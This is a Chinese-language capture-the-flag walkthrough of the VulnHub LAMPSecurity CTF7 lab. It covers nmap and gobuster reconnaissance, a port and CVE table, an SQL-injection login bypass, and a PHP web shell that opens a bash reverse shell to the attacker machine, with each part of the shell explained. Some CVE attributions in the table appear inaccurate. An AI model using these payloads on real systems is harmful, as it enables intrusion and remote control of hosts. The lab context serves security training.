LAMPSecurity: CTF7靶场渗透-EW帮帮网

LAMPSecurity: CTF7

来自 <https://www.vulnhub.com/entry/lampsecurity-ctf7,86/>

1，将两台虚拟机网络连接都改为NAT模式

2，攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128，靶场IP192.168.23.141

3，对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.141

端口	状态	服务名称	版本信息	核心风险点与说明
22	开放	SSH	OpenSSH 5.3（Protocol 2.0）	中高危：2008 年发布的版本，存在漏洞（如 CVE-2010-4478、CVE-2016-10012），无公钥登录强制配置时，易被暴力破解
80	开放	HTTP	Apache httpd 2.2.15（CentOS）	中高危：2010 年版本，存在远程代码执行（CVE-2011-3192）、目录遍历（CVE-2017-7679）漏洞；且PHPSESSID未设httponly标志，易被 XSS 攻击窃取 Cookie
139	开放	NetBIOS/SMB	Samba 3.5.10-125.el6（工作组：MYGROUP）	高危：2011 年版本，存在多个远程代码执行漏洞（如 CVE-2012-1182、CVE-2017-7494 “永恒之黑” 前身漏洞）；SMB 安全模式显示 “message_signing: disabled”（未启用消息签名，易被中间人攻击）
901	开放	HTTP（Samba SWAT）	Samba 网页管理端	高危：需 Basic 认证（弹出 401 授权框），但老旧 Samba 版本的 SWAT 存在认证绕过（如 CVE-2003-0961）或弱口令风险，若破解可直接管理 SMB 共享
8080	开放	HTTP	Apache httpd 2.2.15（CentOS）	高危：与 80 端口同版本 Apache，存在相同漏洞；网页标题显示为 “Admin :: Mad Irish Hacking Academy”（管理员登录页，路径/login.php），若存在弱口令可直接获取后台权限；且PHPSESSID无httponly标志
10000	开放	HTTP（Webmin）	MiniServ 1.610（Webmin 管理端）	中高危：Webmin 是 Linux 系统可视化管理工具，此版本（2013 年发布）存在认证绕过（CVE-2019-15107）、远程代码执行（CVE-2016-3116）漏洞；若获取登录凭证，可完全控制目标主机
137/138	关闭	NetBIOS-ns/dgm	未开放	低危：仅 139 端口开放 SMB，减少部分攻击面，但核心 SMB 风险仍存在

4，访问80端口开设的http服务

什么都没有，再扫描其子目录看看

gobuster dir -u http://192.168.23.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

8080端口也存在http服务

http://192.168.23.141:8080/login.php

5，测试发现存在post型sql注入

使用万能密码就能绕过登录 ' or 1=1 #

翻找找到文件上传的位置

依旧上传kali自带木马，注意修改IP和端口

cp /usr/share/webshells/php/php-reverse-shell.php shell.php

mousepad shell.php

上传失败，可能是因为文件过大，再上传一个短小精悍的木马

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.23.128/4444 0>&1'"); ?>

<?php ... ?>
1. PHP 的代码块标记。
exec()
1. PHP 的一个函数，用来执行外部命令。
2. 它会在系统层面调用你传递的命令（这里就是一条 bash 命令）。
/bin/bash -c '...'
1. 让 Bash 执行后面 '...' 里面的命令。
bash -i
1. 打开一个交互式 Bash shell。
>& /dev/tcp/192.168.23.128/4444
1. Bash 的特殊设备 /dev/tcp/host/port。
2. 表示把标准输出（1）和标准错误（2）都重定向到 TCP 连接 192.168.23.128:4444。
0>&1
1. 把标准输入（0）也重定向到同一个连接（即前面的 1），实现完整的交互。